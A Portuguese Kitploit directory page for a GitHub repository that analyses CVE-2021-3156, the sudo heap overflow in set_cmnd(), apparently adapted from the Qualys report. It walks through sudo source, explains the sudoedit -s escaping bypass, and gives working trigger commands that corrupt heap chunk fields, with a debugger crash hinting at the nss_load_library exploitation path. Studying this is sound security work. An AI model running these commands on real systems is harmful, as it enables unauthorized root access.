Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3156 — Implementação educacional de exploit e análise da CVE-2021-3156, um estouro de buffer baseado em heap na função set_cmnd() do sudo, permitindo escalonamento de privilégios para root por meio de argumentos de linha de comando especialmente elaborados. | Kitploit
Ferramentas/GitHubGitHub/musergi/cve-2021-3156
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Implementação educacional de exploit e análise da CVE-2021-3156, um estouro de buffer baseado em heap na função set_cmnd() do sudo, permitindo escalonamento de privilégios para root por meio de argumentos de linha de comando especialmente elaborados.

Ver Repositório
24há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-3156

Neste documento incluímos todo o conhecimento necessário para entender o código neste repositório e por que ele funciona. Toda a explicação é baseada no relatório criado pela QUALYS. Nele, mais formas de exploração são explicadas.

Requisitos

As versões vulneráveis do sudo são as versões legadas de 1.8.2 a 1.8.31p2 e todas as versões estáveis de 1.9.0 a 1.9.5p1, em sua configuração padrão.

Este repositório é testado no Ubuntu 20.04 (sudo 1.8.31). Nele, abrimos um terminal com privilégios de root.

Análise

Se o Sudo for executado para rodar um comando no modo shell:

  • Através da opção -s, que define os flags MODE_SHELL do sudo.
  • Através da opção -i, que define os flags MODE_SHELL e MODE_LOGIN_SHELL do sudo.

Então, no início do main() do sudo, parse_args() reescreve o argv, concatenando todos os argumentos de linha de comando e escapando todos os meta-caracteres com barras invertidas.

    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Mais tarde, em sudoers_policy_main(), set_cmnd() concatena os argumentos de linha de comando em um buffer baseado em heap user_args e remove o escape dos meta-caracteres, "para fins de correspondência e registro do sudoers":

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Se um argumento de linha de comando termina com um único caractere de barra invertida, então:

  • from[0] é o caractere de barra invertida e from[1] o terminador nulo
  • from é incrementado e aponta para o terminador nulo
  • O terminador nulo é copiado para o buffer user_args e from é incrementado novamente e aponta para fora dos limites
  • O loop while lê e copia caracteres fora dos limites para o buffer user_args.

Em outras palavras, set_cmnd() é vulnerável a um estouro de buffer baseado em heap, porque os caracteres fora dos limites que são copiados para o buffer user_args não foram incluídos no seu tamanho.

Em teoria, no entanto, nenhum argumento de linha de comando pode terminar com um único caractere de barra invertida: se MODE_SHELL ou MODE_LOGIN_SHELL estiver definido (uma condição necessária para alcançar o código vulnerável), então MODE_SHELL está definido e parse_args() já escapou todos os meta-caracteres, incluindo barras invertidas (ou seja, escapou cada barra invertida com uma segunda barra invertida).

Na prática, no entanto, o código vulnerável em set_cmnd() e o código de escape em parse_args() estão cercados por condições ligeiramente diferentes:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus:

    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

Nossa pergunta, então, é: podemos definir MODE_SHELL e também MODE_EDIT ou MODE_CHECK (para alcançar o código vulnerável), mas não o MODE_RUN padrão (para evitar o código de escape)?

A resposta, ao que parece, é não: se definirmos MODE_EDIT (opção -e) ou MODE_CHECK (opção -l), então parse_args() remove MODE_SHELL dos valid_flags e sai com um erro se especificarmos um flag inválido como MODE_SHELL):

                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Mas encontramos uma brecha: se executarmos o Sudo como sudoedit em vez de sudo, então parse_args() define automaticamente MODE_EDIT mas não redefine valid_flags, e os valid_flags incluem MODE_SHELL por padrão:

#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Consequentemente, se executarmos "sudoedit -s", então definimos tanto MODE_EDIT quanto MODE_SHELL (mas não MODE_RUN), evitamos o código de escape, alcançamos o código vulnerável e estouramos o buffer baseado em heap user_args através de um argumento de linha de comando que termina com um único caractere de barra invertida:

sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

Do ponto de vista de um atacante, esse estouro de buffer é ideal:

  • Controlamos o tamanho do buffer user_args que estouramos (o tamanho dos nossos argumentos de linha de comando concatenados);
  • Controlamos de forma independente o tamanho e o conteúdo do próprio estouro (nosso último argumento de linha de comando é convenientemente seguido pelas nossas primeiras variáveis de ambiente, que não são incluídas no cálculo de tamanho);
  • Podemos até escrever bytes nulos no buffer que estouramos (todo argumento de linha de comando ou variável de ambiente que termine com uma única barra invertida escreve um byte nulo em user_args).

Por exemplo, em um Linux amd64, o seguinte comando aloca um buffer user_args de 24 bytes (um chunk de heap de 32 bytes) e sobrescreve o campo size do próximo chunk com "A=a\0B=b\0" (0x00623d4200613d41), o campo fd com "C=c\0D=d\0" (0x00643d4400633d43), e o campo bk com "E=e\0F=f\0" (0x00663d4600653d45):

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|AA=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Exploração

Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)
Baixar ferramenta